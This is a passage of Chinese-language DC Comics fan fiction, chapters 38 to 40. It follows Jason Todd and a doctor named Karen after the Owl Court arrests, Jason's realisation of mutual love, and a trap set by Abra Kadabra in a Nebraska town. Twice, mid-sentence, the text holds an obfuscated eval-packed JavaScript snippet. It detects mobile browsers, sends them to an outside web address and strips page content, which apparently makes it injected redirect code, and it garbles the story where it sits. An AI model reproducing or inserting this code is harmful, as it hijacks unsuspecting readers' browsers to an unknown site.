他走进巷子,消失在黑暗里。卡伦站在台阶上,看着那条空荡荡的巷子。哥谭的夜风把他的头发吹到脸上。他把头发别到耳后,转身往东区走。 长发还是有些碍事,回头剪了吧。 走了两步,他停下来。 回想起杰森说的那些话的语气,迟来的笑点又击中了他。 像在念天气预报,和蝙蝠侠状态的哥谭甜心一模一样。 卡伦站在空荡荡的巷子里,对着哥谭灰蒙蒙的夜空,笑了一下。 真是父子。 38. 第三十八章 1 哥谭的早晨来得不声不响。 卡伦站在诊所门口,钥匙插在锁孔里,还没拧。门把手上夹着一张传单,彩色印刷,上面写着“林肯·马奇——为哥谭的未来投票”。传单的边角被露水打湿了,墨迹洇开,马奇的笑容糊成了一团。 卡伦把传单扯下来,揉成一团,扔进垃圾桶。钥匙拧了半圈,门开了。 诊所里和他走的时候一样。窗台上那排小东西还在,诊台上的茶杯还在,那杯凉透了的茶还在。他站在诊台前面,把那杯茶倒了,杯子洗了,倒扣在沥水架上。然后开始烧水。 下次谁再让他连烧个水的时间都没有,他就杀了谁。 呵,猫头鹰,说的就是你们。(邪恶微笑) 水烧开了,泡了两杯茶。 一杯放在诊台上,一杯放在候诊区的小茶几上——杰森常坐的那个位置,脚搭着的那块地方。卡伦端着茶杯靠在诊台上,喝了一口。 不好,有点烫。 他把杯子放下了。 ——— 2 第一波新闻是早上七点出的。 哥谭公报的头条:“林肯·马奇涉嫌猫头鹰法庭,昨夜于韦恩酒店被捕。”配图是马奇被警察押上警车的照片,脸上那道血痕被闪光灯照得发白。 卡伦站在诊台后面,看着电视里的滚动新闻。主持人语速很快,一个一个地念那十一个人的名字。市长,市议员,警察局副局长,韦恩企业的两个前董事。每一个名字后面都跟着“涉嫌谋杀”“涉嫌绑架”“涉嫌恐怖活动”。 卡伦把电视关了。 诊所的第一位病人是那个修鞋的老头。他推门进来的时候,表情比平时兴奋得多。 “医生,你看了新闻吗?那个马奇!被抓了!” 卡伦把血压计拿出来。“看了。” “我早就说那个人不对劲!”老头把袖子撸上去,露出干瘦的手臂。“太完美了。在哥谭搞政治查不到黑料,本身就是最大的黑料。我跟你说的,你记得吗?” “记得。” “我就说嘛!”老头拍了一下膝盖。“猫头鹰法庭!那些戴面具的!我一直觉得哥谭底下有什么东西,果然有!” 卡伦把血压计的袖带缠上他的手臂。“别激动。血压会高。” 老头不说话了。但他的手指在膝盖上敲着,像在打拍子。 卡伦把血压计收起来。“正常,药记得吃。” 老头站起来,走到门口,又转回来。“医生,那个马奇,会不会判死刑?” 死刑?那个在哥谭形同虚设的死刑吗? 卡伦想了想。“不知道。” 看复仇者们给不给力吧,反正消息已经告诉他们了。 老头点了点头,推门走了。 卡伦站在窗台前面,看着他的背影消失在街角。阳光照在湿漉漉的人行道上,反着很亮的光。他转过身,开始整理诊台。 ——— 3 杰森是下午来的。 他推门进来的时候,卡伦正在给一个被猫抓伤的小孩缝针。小孩哭得撕心裂肺,他妈她在旁边哄,越哄哭得越大声。 卡伦的表情已经有点死了。 好好笑,不确定,再看看。 杰森走到候诊区坐下,就着卡伦的表演,端起那杯凉透了的茶喝了一口。 卡伦缝完针,把小孩和他妈送走,洗了手,靠在诊台上。 “你怎么来了?” “路过。”杰森没看他,盯着天花板。 “你那杯茶是早上泡的。” “知道。” “凉了。” “知道。” 算了,人和复读机是不能沟通的。 杰森把那杯凉茶喝完了,放下杯子,站起来。 他走到诊台前面,拉开抽屉,翻了翻。拿出一卷绷带,塞进口袋。又翻了翻,拿出一瓶碘伏,塞进口袋。又翻了翻,拿出一盒缝合针,看了看,放回去了。 卡伦靠在诊台上,看着他翻。像在自己家一样,连招呼都不打。 哦,真可爱。 卡伦撑着脸,满脸笑意地看着杰森翻来翻去,像看着自家在故意引起注意的小浣熊。 “你拿我东西好歹说一声。”卡伦拖长的声音,假装抱怨。 “说了一声。”杰森头都没抬,又翻出一卷医用胶带,塞进口袋。 卡伦张了张嘴,没说出话来。 他看着杰森把那几样东西揣进兜里,拉上抽屉,转身往门口走。走到一半,停下来,又转回来。从另一个抽屉里拿了一包棉签。 然后走了。 卡伦站在诊台后面,看着那扇关上的门。 他挺欢迎杰森把这里当家的,不过且不提根本不缺医疗用品的杰森为什么要来他这里翻来翻去,他真的需要医疗物品的话,跟他说一声,难道他不会打包好自己给他送过去吗? ——— 4 法外者的据点不是仓库,他们有隐形飞船,现在正停在哥谭港口附近的半空中,普通人看不见。 飞船内部不算大,但生活区、训练室、武器库一应俱全,还有比扎罗专门要的一个角落,堆满了儿童绘本和毛绒玩具。 杰森从传送门进来的时候,阿尔忒弥斯正在训练室里对着沙袋练拳。比扎罗蹲在角落的绘本堆里,手里拿着一本《好饿的毛毛虫》,念得很认真,每个字都要在嘴里嚼一遍。 军火库——罗伊·哈珀——坐在沙发上擦箭,一条腿搭在茶几上,嘴里叼着一根没点的烟。他抬头看了杰森一眼。 “哟,回来了。” 杰森没接话。他把外套脱了,扔在椅背上,走到桌边倒了一杯水。 水喝到一半,罗伊看见他腰带上别着的那几枚冰蓝色的符石。整整齐齐地别在战术腰带的卡槽里,像本来就是那个位置的一部分。 罗伊放下箭,坐直了一点。“那是什么?” “符石。” “哪来的?” “拿的。” “拿的?”罗伊的眉毛挑起来。“从哪儿拿的?” “诊所。” 罗伊:?你要不要听听你在说什么。 阿尔忒弥斯从训练室走出来,毛巾搭在肩膀上。她看了一眼杰森腰带上的符石,又看了一眼罗伊的表情,走到桌边倒水。“又是那个诊所朋友给的?” “拿的。”杰森重复。 罗伊把烟从嘴里拿下来,在指间转了一圈。“你上次拿的是绷带、碘伏、医用胶带,这次是符石。你那个朋友开的是诊所还是军火库?” “诊所。”杰森说。他把水杯放下,靠在桌沿上。 阿尔忒弥斯喝了一口水,靠在另一边的桌沿上,双臂抱在胸前。“你每次去他那儿都拿东西?” “嗯。” “不用付钱?” “嗯。” “他让你拿?” 杰森没回答。 哦,那就是默认了。 比扎罗从绘本后面探出头来,看了看杰森腰上的符石,又看了看杰森的脸。“杰森。朋友。送东西。比扎罗没有。” “你不是有绘本吗?”罗伊说。 比扎罗低头看了一眼手里的《好饿的毛毛虫》,抱紧了。“这是。比扎罗自己。拿的。不是朋友。送的。” 阿尔忒弥斯把水杯放下,看着杰森,有点意味深长。“你这个朋友,对你挺好的。” “嗯。” 罗伊把烟叼回嘴里,嘴角翘了一下,随口调侃。“他对你那么好,不会是喜欢你吧?” 杰森的动作停了一下。很短,短到阿尔忒弥斯差点没看见。 不会吧。(震惊) “怎么不说话了?”罗伊问。 “没什么好说的。” “你刚才停了一下。” “没停。” “把你煮熟了,只有嘴是硬的。”罗伊说。“比扎罗也看见了。” 比扎罗点头。“杰森停了。比扎罗看见。” 罗伊把烟从嘴里拿下来,在指间转着。他换了一个意味深长的语调:“或者说,你已经背着我们有爱人了?” 阿尔忒弥斯没说话,嘴角动了一下。没准军火库是有点推理天赋的。 比扎罗从绘本后面彻底探出头来了。 杰森把水杯拿起来,又放下了。“没有。” “那你脸红什么?” “没有。” “红了。”阿尔忒弥斯说。“比扎罗也看见了。” 你们两个真是够了啊!! “杰森脸红了。”比扎罗说。 杰森站起来。“我去巡逻。” 他拿起外套,往传送门走。罗伊在身后吹了一声口哨,可能他想小声吹,但整个房间都听见了。 杰森没回头,像逃离什么洪水猛兽一样走了。 飞船里诡异的安静了一会儿。 比扎罗看着那扇空荡荡的传送门。“杰森。跑了。” “嗯。”罗伊把烟叼回嘴里。 “杰森。耳朵红了。” “看出来了。”罗伊说。 阿尔忒弥斯把水杯放回桌上,拿起那枚杰森落下的符石——他从腰带上取下来展示的那枚,忘了拿回去。冰蓝色的石头在灯光底下泛着宝石般的光泽。她把它翻过来,背面刻着一个很细的符文,是手工刻的,一看就耗时不短。 阿尔忒弥斯把符石放在桌上。“他说是‘拿的’。” 罗伊没说话。 阿尔忒弥斯把符石推到他面前。“谁会给‘朋友’一颗一颗地刻符石?” 罗伊把符石拿起来,对着灯光看了一眼。符文在光底下亮了一下,银白色的,很淡。“会。”他说,又拿着那块石头成大字形栽倒在沙发上。“但不会给‘朋友’刻这么多,简直是生怕他在外面遭遇什么危险。” 阿尔忒弥斯没接话。她把符石从罗伊手里拿回来,放回桌上。 比扎罗从绘本后面探出头来。“杰森。在想朋友。” “别说了。”阿尔忒弥斯说。 “比扎罗只是——” “别说了。” 比扎罗闭嘴了。 ——— 5 杰森站在港口区的码头上。 夜风从河面上吹过来,冰冷带着腥味。他把外套的拉链拉到最上面,双手插在口袋里。口袋里那几枚符石硌着他的手指。 他不知道自己为什么要跑,他后悔了,他应该恶狠狠的怼回去。 杰森站在码头边缘,看着河面上的月光碎成一片一片的,在水波里晃。 他想起卡伦的脸。在安全屋里,被他按在墙上的时候,那双金色的眼睛看着他,瞳孔骤缩,像被惊吓到的小动物。 那双眼睛在他脑子里转了好几天了,从那天晚上就开始转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444135|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他以为忙起来就好了。处理利爪的棺材,清点法庭的资产,审问马奇的手下。他忙了三天。每天晚上躺下来的时候,那双眼睛就会出现。金色的,在暗红色的灯光底下亮着,像两颗很小很小的星星。 还有那些呼吸。近在咫尺的呼吸。在安全屋里,他的鼻尖几乎贴着卡伦的额头,他能感觉到那些气流拂过他的锁骨。温热的,急促的。卡伦的呼吸。 还有他为什么不想让那个时刻结束,那时候他没细想,现在他倒是明白了。 杰森从口袋里摸出一枚冰蓝色的符石,举到眼前。月光穿过符石,在地上投下一小片蓝色的光。 他想起第一次见卡伦,不是在诊所,是在更早的时候。那时候他刚复活不久,满身是伤,恨意填充了他的大脑。他一个人端掉了黑面具的一个据点,杀了几个人,自己也受了伤,靠在巷子的墙上喘气。 卡伦从巷子另一头走过来。他以为是敌人,握紧了枪。 卡伦没看他。从他身边走过去了。走了几步又回头。 “你受伤了。” 杰森没说话。卡伦走过来蹲下,从口袋里掏出绷带和碘伏。杰森看着他的手。那双手很稳,动作很快,包扎的手法有种机械性的流畅。 最后卡伦深深地看了他一眼——杰森分辨不出他的情绪,感觉有一种被野兽盯上的悚然感。他觉得那一眼甚至通过了他的外壳,在看内里的什么东西。 杰森站在码头边缘,看着河面上碎成一片一片的月光。 杰森打开和卡伦的聊天框,删删改改,最终放弃,把手机塞回口袋,转身往回走。 他走了两步,又停下来。 面前有一团很小的光。暗红色的,像快要灭的蜡烛。它悬在半空中,在他和码头之间,一明一灭。 杰森的手指攥紧了。这光亮实在眼熟。 那团光亮了一下,然后展开了,像一只蝴蝶从蛹里钻出来。光丝在空中编织,一根一根,很慢,很细。 一个小女孩站在他面前。 黄裙子,小雏菊,湿漉漉的头发贴在额头上。暗红色的眼睛,像快要烧完的炭。她仰着头看他,嘴角翘着。 “爸爸。”她说。 ——— 6 多么似曾相识的场景。 杰森的喉咙像被什么东西堵住了。 他想说“你不是走了吗”,想说“你怎么回来了”,想说“你——”但他什么都没说出来。因为他看见她的身体是透明的。月光从她身后照过来,穿过她的裙子,穿过她的手臂,穿过她那张笑着的脸。 “我留了一点点力量用来留影。”她低下头,看着自己透明的手指。“只有一点点,只能留一小会儿。只能——”她抬头看他。“只能跟你说一句话。” 她留下来的力量太过微弱,混在那场烟花的雨中,让卡伦没有注意到她的踪迹。 杰森蹲下来,和她平视。 “妈妈说的话,”她认真地看着他,“爸爸要是听不见,就太可惜了。” 所以妈妈,请原谅她的自作主张吧,她真的好想,好想让爸爸妈妈获得幸福啊。 杰森的呼吸停了一拍。 “妈妈说的那句话是——” 卡伦的影像突兀的出现在他面前。 是他说话的那一幕,声音被烟花尽力遮盖,但在小女孩的视角中,仍清晰可闻。 他看见卡伦的嘴唇张开,合上,又张开。 “Yes,I love him.” (“是的,我爱他。” ) 小女孩静静地站在一边,嘴角翘起来。她的身体开始变淡,从裙摆开始,一点点往上,像被风吹散的蒲公英。 “再见,爸爸。” 这次,是真的再见了。 她消失了,码头恢复了平静。月光照在河面上,碎成一片一片的。 ——— 7 杰森蹲在码头边缘,手还伸在半空中,什么都没碰到。 他蹲了很久,然后他站起来,心情复杂地转身往回走。小姑娘回来又彻底消失这件事,还有她带回来的消息,让他不知道抱有怎样的心情才好。 杰森不得不承认。 他喜欢卡伦,不是朋友那种喜欢。 杰森惊讶于他现在竟然能如此坦然地接受,而令他惊喜的是,卡伦和他抱有同样的感情。 杰森再次推门进飞船的时候,罗伊在沙发上,阿尔忒弥斯在擦弓,比扎罗在绘本堆里。三个人同时抬头看他。 “怎么了?”罗伊问。 “没怎么。” “你脸红了。” “风吹的。” 阿尔忒弥斯看了一眼窗外,风平浪静。 可能是走的比较远吧,地理上的路程和心路历程什么的。 杰森走到自己的铺位,躺下来,把手臂盖在脸上。他闭上眼睛,脑子里全是卡伦的脸。 在安全屋里被按在墙上的时候,在游乐园门口穿着浅色卫衣的时候,在摩天轮上嘴唇微动的时候,在码头边上第一次见面的时候。他想起卡伦说的每一句“别死了”,想起卡伦泡的每一杯凉掉的茶,想起卡伦靠在诊台上看着他翻抽屉的样子,想起卡伦哭的时候睫毛上挂着的水珠。 杰森把手臂从脸上放下来,看着天花板。天花板上有一道裂缝,从这头裂到那头。他盯着那道裂缝,嘴角不自觉地勾起。 他自己没注意到。 39. 第三十九章 1 杰森盯着天花板看了快二十分钟。 这已经是他这两天盯着天花板的,不知道多少个20分钟了。 倒不是因为他闲,只是他现在还没想好要怎样面对卡伦。 那段影像一直在他的脑海中盘旋。 在黑夜中,烟花炸开的光亮如此耀眼,但光线打在卡伦的脸上却不甚清晰,让他那双金色的眼睛格外夺目。 他的嘴唇张开,合上,又张开。 “Yes, I love him.” 杰森翻了个身,把脸埋进枕头里。 操。 他不是没被人喜欢过。露水情缘有过,一夜风流有过,他长得不差,身材不差,气质里带着点坏男人的危险感,这玩意儿在某些场合确实是加分项。 但卡伦不一样。 只从日常的相处间就能看出,卡伦是个对感情很认真的人。他只有在确认了自己能给对方同等的感情反馈,甚至更多的条件下,才会接受对方给他的感情。如果不行,他就会一直竖着冷漠的壳子来逼退对方。 卡伦不是很在意自己的付出是否打了水漂,但如果有人凭着这一点想白嫖的话,绝对会付出很深沉的代价。 再说了,他也不愿意像对待那些露水情人一样对待卡伦。 他们哪怕做不成情侣,那也是同伴,战友,共犯一类的关系,至少绝对不能用床. 伴这个词来描述他们的感情。 每一次在战斗中的并肩,每一次夕阳下坐在一起无所事事,每一个看过的电影、玩过的游戏,甚至每一次去超市对于食物品牌上的争吵……这些已经融入了日常的相处,平时已经习惯,如今仔细想来,竟然这么多,这么多。 杰森又翻了个身。 他也知道自已对卡伦不一样。他翻抽屉不问自取,喝凉掉的茶不抱怨,在卡伦哭的时候抱住他安慰——这些事他对别人做得可不会那么自然。 但知道是一回事,怎么面对是另一回事。 直接说?说什么?“我也喜欢你”?好吧,这是个不错的选择,但或许需要看准时机。那直接追求吗?这和之前那个选项有什么区别。明摆着就是告诉卡伦他知道了些什么。 啊,他知道了又怎么样,都已经拿到互相喜欢的剧本了,在一起可是上天注定的发展。 卡伦表现得其实已经很明显,现在轮到他了。 杰森坐起来,还没来得及站起。 通讯器响了。 杰森看了一眼,是比扎罗的频道。比扎罗不常主动联系他,通常都是他联系比扎罗。 “红头罩。”杰森接起来。 电话那头沉默了两秒,然后比扎罗的声音响起来,含混的、低沉的,像石头摩擦石头的声音:“红头罩……阿尔忒弥斯……没回来。” 杰森愣了一下。 “没回来是什么意思?” “她说去……看看。然后没回来。”比扎罗停顿了一下,似乎在组织语言,“两天。电话不通。” 杰森从床上坐起来,脑子里迅速过了一遍信息。 阿尔忒弥斯两天前还在哥谭的基地里,说要去处理点私事。她没说是什么事,杰森也没问——阿尔忒弥斯是那种“你问了也不会说,说了也是‘不关你事’”的人。 亚马逊战士一般都有点好斗,冲动,独来独往的特性,她加入法外者之后收敛了不少,但骨子里还是那个“先冲进去再说”的女人。 “她去了哪里?”杰森问。 比扎罗给了他一个地名。内布拉斯加州的一个小镇,名字杰森没听说过,人口估计也就一两千,中西部典型的那种路过都不会注意到的地方。 杰森叹了口气。 这可真不巧。 “行吧,她又一个人闯进去了。”他站起来,抓起床上的皮衣,一边穿一边对比扎罗说,“你在哪?我去接你,我们去把她捞出来。” 他顿了一下,脑子里闪过一个念头——出去几天,好好想想和卡伦的事也不错。 “正好——”他开口,又闭上了。 比扎罗在那头问:“正好什么?” “没什么。”杰森把通讯器别回腰带上,“等着,我二十分钟到。” 他的手指无意识地摸了一下脖子上挂着的吊坠——那个卡伦送的金属吊坠,摸完他才意识到自己在做什么,把手放下来,关上了安全屋的门。 ——— 2 五个小时后,杰森站在内布拉斯加州某个小镇的入口,觉得自己可能低估了事情的严重性。 比扎罗站在他旁边,歪着头看着镇子,脸上带着那种“我看不懂但我觉得不对劲”的表情。 镇子看起来……很正常。 街上有人走动,商店开着,甚至有个老太太在遛狗。阳光照在街道上,一切都很平静,很日常,很“中西部小镇该有的样子”,格外符合刻板印象。 但正常得有点不对。 杰森盯着一个刚从杂货店走出来的男人看了十几秒。那个男人的动作——他抬手、迈步、把购物袋从左手换到右手——每一个动作都带着一种微妙的机械感,仿佛被一根看不见的线牵着。 不是人类该有的流畅度,非要说的话,像是木偶。 杰森眯起眼睛。他见过这种东西,在法外者以前的某个任务里——那种被操控的、失去自我意识的存在,看起来像人,但只是有个人的躯壳。 “比扎罗。”他低声说。 “嗯。” “你有没有觉得这里的人怪怪的?” 比扎罗歪着头看了一会儿:“他们……不像人。像……玩具。” 杰森点头。比扎罗的脑子虽然不太好使,但他的直觉往往比杰森更准。他不被复杂的表象迷惑,能看到最本质的东西。 杰森走向那个刚从杂货店出来的男人。 “嘿,老兄。”他尽量让自己的语气听起来随意,“问个路。这个镇子叫什么来着?” 男人停下来,转过头看着杰森。 他的脸上挂着微笑。完美的、不大不小的微笑,嘴角的弧度精确得像用量角器量过的。 “欢迎来到友谊镇。”男人的声音平稳得不像在说话,更像在朗读,“您看起来是外地人,需要我帮您找旅馆吗?” 杰森盯着他的眼睛。 瞳孔没有焦距,虹膜的颜色像是画上去的。这个男人在看他,但眼睛里没有“看”这个动作应该有的东西——没有好奇,没有警惕,没有任何人类在面对陌生人时该有的情绪波动。 真诡异啊,杰森觉得自己鸡皮疙瘩都起来了。 “不用了。”杰森干巴巴地说,“谢谢。” “不客气。”男人点点头,军姿转体一样转过标准的90度,继续走。他的步伐稳定,每一步的步幅甚至都完全相同。 杰森退回比扎罗身边。 “不对劲。”他说,“非常不对劲。” 比扎罗已经握紧了拳头:“打架吗?” “先别。”杰森按住他的手臂,“先找到阿尔忒弥斯。她应该在这里的某个地方——如果她还……” 他没说完,比扎罗听懂了。 ——— 3 两人沿着街道往里走。镇子的布局很简单,一条主街,两边是商店和民房,镇中心有个小广场,广场上立着一个已经褪色的退伍军人纪念碑。 街上的人不多,但每一个看到他们的人都会微笑、点头、说“欢迎”。每一个微笑的弧度都一样,每一个“欢迎”的语调都一样。 杰森开始觉得后背发凉。 真搞不明白背后操纵他们的人是想干什么。想隐藏疑点的话,这个设计简直多余至极。但也不对,他们刚到这个小镇的时候,镇上的人还没有这么诡异。 就在这时,小镇的广播系统突然响了。 “滋滋”的电流声过后,一个声音响起来。舞台腔,夸张的,带着一种老派杂耍艺人特有的油腻感。 “女士们先生们——欢迎!欢迎来到阿布拉卡达布拉的奇幻马戏团!” 杰森停下脚步。 阿布拉?卡达布拉。 他听过这个名字。 闪电侠的老对手,来自64世纪,用未来科技假装魔法。后来觉得不过瘾,跟恶魔做了笔交易,换了真货。爱好是表演,特长是把人变成木偶,梦想是拥有全世界最多的观众。 简单来说——一个表演型人格晚期患者,手里握着时间操控和傀儡化两项技能,在中心城被闪电侠追着打了十几年。 杰森啧了一声。 “阿布拉不应该是闪电侠管的老鼠吗?”他嘀咕,“原来不是所有反派都像哥谭一样有地域性的?”果然还是哥谭有问题。 所以哥谭的那群反派为什么一个个就跟哥谭是整个世界一样啊!真是一点报负都没有。 比扎罗歪头看他,没听懂。 “没事。”杰森说,“就是觉得我们跑了大半个国家来给别人送业绩,挺亏的。” 广播里的声音继续,带着夸张的热情:“我们有幸迎来了两位特别的观众!一位是来自哥谭的——红头罩先生!还有他那位绿色的朋友!欢迎!欢迎!” 杰森抬头。镇中心的大屏幕上出现了阿布拉的脸——紫色的燕尾服,高顶礼帽,脸上的笑容夸张到变形,像一个被拉长了的面具。 阿布拉对着镜头深深鞠了一躬。 “红头罩先生,久仰久仰。我听说过您的事迹——死而复生,红头罩,蝙蝠侠的……前搭档。”他眨了眨眼,“多么精彩的故事啊!比我在中心城演的那些无聊把戏有意思多了!” 杰森没说话,他的手已经摸到了腰间的枪。 阿布拉的这个调调让他想起一个人,一个用撬棍的疯子。 真是阴魂不散。 杰森把那个念头按下去。不一样。小丑是纯粹的混沌,阿布拉只是个渴望掌声的自恋狂。 虽然自恋狂加上时间操控和傀儡化也挺要命的,但至少他不会闻起来像火药和廉价古龙水的混合物。 “别紧张,别紧张!”阿布拉举起双手,做出一个“我不是来找麻烦”的姿态,“我只是在这里——巡演。是的,巡演!中心城的观众太无趣了,闪电侠每次都要打断我的表演,所以我决定——换个地方。” 他张开双臂,像是在拥抱整个小镇。 “这里!友谊镇!一个可爱的小地方,人口一千二百人,距离最近的大城市开车要四个小时。没有超级英雄,没有烦人的报警器,只有——观众!” 杰森听到“观众”这个词的时候,心里咯噔了一下。 他狠狠皱眉,仰着头问:“你在这些人身上做了什么?” 阿布拉歪了歪头,做出一副“你在说什么”的表情,然后突然笑了。 “做了什么?我给了他们一个机会!一个成为——表演者的机会!”他的声音拔高,“你看,他们以前多无聊啊。日复一日,上班,下班,吃饭,睡觉。没有人记得他们的名字,没有人给他们鼓掌。” 他的笑容变得狂热。 “但现在!他们是阿布拉卡达布拉马戏团的一员!他们站在舞台上!他们被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444136|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见!被喝彩!甚至即将要全球巡演!这是多少人梦寐以求的——永生难忘的——表演!” 杰森的手指扣在扳机上。 “他们是被你控制的傀儡。”他说。 阿布拉的笑容僵了一瞬,然后更夸张地咧开。 “傀儡?不不不,这个词太粗鲁了。我更喜欢——‘演员’。他们是我的演员,我的道具,我的——观众。”他停顿了一下,声音突然低下来,带着一种诡异的温柔,“而你,红头罩先生,你也会成为其中一员。” 话音刚落,小镇广场的地面开始震动。 杰森拉着比扎罗后退了两步,看着地面裂开,一排排椅子从裂缝中升起来。不是普通的椅子——是那种老式马戏团的折叠椅,红色的绒面坐垫,金色的金属扶手,整整齐齐地排列在广场上,像是一个巨大的露天剧场。 “请坐。”阿布拉的声音从广播里传出来,温和得像在哄孩子,“表演即将开始。请各位观众——入座。” 杰森没动。 然后他感觉到了一种无形的力量,像是有一只巨大的手按在他的肩膀上,试图把他压向那些椅子。 不是物理上的力量,是规则,是这个地方的“规则”——阿布拉制定的规则。 杰森咬紧牙关,对抗着那股力量。他可以感觉到自己的肌肉在颤抖,膝盖在弯曲,身体在被某种不可抗拒的逻辑推向“观众席”。 比扎罗比他更惨。比扎罗的身体已经开始往椅子的方向倾斜,他的脸上带着困惑和愤怒——他不理解发生了什么,但他知道自己在被迫做不想做的事。 “比扎罗!”杰森喊了一声。 比扎罗转头看他,眼睛里有一瞬间的清明。他用力跺了一下脚,地面裂开一条缝,那股力量似乎松动了一点。 但只是松动了一瞬。 阿布拉的声音再次响起,这一次带着明显的不耐烦:“红头罩先生,我建议您配合。规则就是规则——表演期间,观众不得离开座位。违反规则的人,会受到……惩罚。” 杰森感觉到自己的膝盖碰到了椅子的边缘。 Fuck! 他在心里骂了一句,然后在被迫坐下的最后一秒,看了一眼广场上那些“观众”——那些被变成傀儡的小镇居民。他们整整齐齐地坐在椅子上,脸上挂着相同的微笑,眼睛盯着空无一物的舞台,像是真的在看一场精彩的表演。 杰森臭着脸坐下了。 最好别让他抓到那死东西,否则他就让他去和小丑当好邻居。 比扎罗在他旁边坐下,脸上的表情如同一只被关进笼子的大猩猩——愤怒、困惑、随时可能暴走。 “别动。”杰森低声说,“先看看情况。” 比扎罗看了他一眼,没说话,但拳头微微松开。 广播里传来阿布拉满意的笑声。 “好极了!好极了!观众已经入座,表演即将开始!”他的声音拔高,带着一种近乎疯狂的兴奋,“女士们先生们,阿布拉卡达布拉的奇幻马戏团——开演!” ——— 4 广场中央的舞台亮了起来。 某种扭曲的艳紫色光芒像液体一样在舞台表面流动。光芒中,一个人影缓缓浮现。 是那个杂货店门口的男人。 他站在舞台上,脸上的微笑和刚才一模一样。但他的身体在活动——不,不是他自己在动,是有什么东西在操纵他,宛若操纵一个木偶。 他开始跳舞。 动作精准到不自然,每一个转身、每一个抬手都像是被程序设定好的。他的关节在弯折,肌肉在拉伸,脸上却始终挂着那个不变的微笑。 杰森看着舞台,胃里翻涌起一阵恶心。 这不是表演,这是折磨。一个人被剥夺了自我意识,变成一个提线木偶,在舞台上供人观赏——而那个观赏他的人,就是阿布拉。 阿布拉出现在舞台边缘,站在那个跳舞的男人旁边,张开双臂,对着杰森的方向鞠了一躬。 “第一个节目——‘木偶之舞’!”他高声宣布,“由友谊镇最优秀的居民——约翰·麦克莱恩先生表演!约翰先生在这里住了三十五年,是个五金店老板,有三个孩子,一条狗,去年刚当了祖父。” 他停顿了一下,声音低下来,带着一种阴森的温柔。 “但现在,他是我的木偶。” 杰森的拳头握紧了。 他感觉到自己的时间线在被什么东西拉扯——不是身体上的,是更本质的。他的存在,他的记忆,他的“自己”,在被一点一点地抽离。 他看了比扎罗一眼。比扎罗的表情已经变得呆滞,眼睛盯着舞台,嘴巴微微张开,像是被催眠了一样。 杰森咬了咬舌头。疼痛让他清醒了一瞬。 他需要想办法出去。需要找到阿尔忒弥斯。 阿尔忒弥斯。 如果她还活着,她一定在镇子的某个角落,和她对法外者成员说的一样,等着他们来救。 杰森深吸一口气,把注意力集中在舞台上,强迫自己保持清醒。 他不能在这里倒下。 阿尔忒弥斯还在等着他,比扎罗需要他。 而且—— 他还没告诉卡伦。 他还没说出口。 所以他不能变成傀儡。 舞台上的灯光更亮了,阿布拉的笑声在广场上空回荡。杰森坐在观众席上,握紧拳头,看着那个跳舞的木偶,等待着机会。 他知道机会会来的。 在那之前,他只需要——撑住。 40. 第四十章 1 阿布拉的“木偶之舞”持续了整整七分钟。 七分钟里,那个叫约翰·麦克莱恩的五金店老板在舞台上转了三十二圈,抬了四十一次手,弯了二十三次腰。他的关节在每一次运动中发出细微的咔嗒声,像生锈的齿轮在强行咬合。 杰森坐在观众席上,心中默数着这些数字。 别误会,他对这种毫无美感的舞蹈没有丝毫兴趣,只是他需要保持清醒。 比扎罗坐在他旁边,眼睛盯着舞台,嘴巴微张。他的表情已经从“困惑”变成了“呆滞”,如同一台进入了待机模式的电脑。 杰森用胳膊肘撞了他一下。 “比扎罗。” 没有反应。 “比扎罗!”又撞了一下,力气大了点。 比扎罗缓慢地转过头,眼睛里的光像隔了一层雾。“……杰森?” “别盯着看。”杰森压低声音,“那东西会影响你的脑子。” 比扎罗眨了眨眼,似乎在处理这句话的含义。然后他把头低下来,盯着自己的脚。脚上穿着一双巨大的靴子,鞋带系成了两个歪歪扭扭的蝴蝶结——阿尔忒弥斯教的,教了整整一个下午。 “比扎罗不看。”他说,“比扎罗看鞋子。” 杰森点头,把注意力重新放回舞台上。 阿布拉的表演还在继续。约翰·麦克莱恩终于停了下来,四肢以一个不自然的角度垂在身体两侧,躯干像是被什么东西提着,四肢软软的搭下来,没有受力。 他的脸上还挂着那个微笑,但眼睛里已经什么都没有了。 阿布拉走到舞台中央,鞠了一躬。 “谢谢!谢谢约翰先生的精彩表演!”他对着空无一人的观众席挥手,仿佛那里坐满了人。“让我们给约翰先生热烈的掌声!” 杰森没动。 但他的手掌自己拍了一下。 一股无形的力量掰开了他的手指,合拢,拍击,发出一声清脆的响。 杰森低头看着自己的手,瞳孔收缩。 他可不想cos什么daddy 的乖木偶。 他用力把手按在膝盖上,十指交叉,死死扣住。手掌在挣扎,但好像有一条看不见的线在往上拽。他能感觉到那股力量,他的肢体在试图脱离他的控制。 阿布拉制定了“必须鼓掌”的规则,规则在强迫他执行。 杰森咬紧牙关,把手指扣得更紧。 四周一片寂静,这时,观众席上的那些“人”缓缓的,把头转过一个诡异的角度,看向了杰森。 他们同时僵硬地把手举起来,像是做示范那样,拍了拍。 观众席上传来了咔哒咔哒的鼓掌声。 杰森还是没动,手掌挣扎了几秒,最后放弃了。杰森感觉到那股力量松开钳制,但他同时也感觉到一股微弱的刺痛从指尖蔓延到手腕。他低头看了一眼,手指的皮肤上出现了一道很浅的灰色纹路,像石灰路上细小的裂纹。 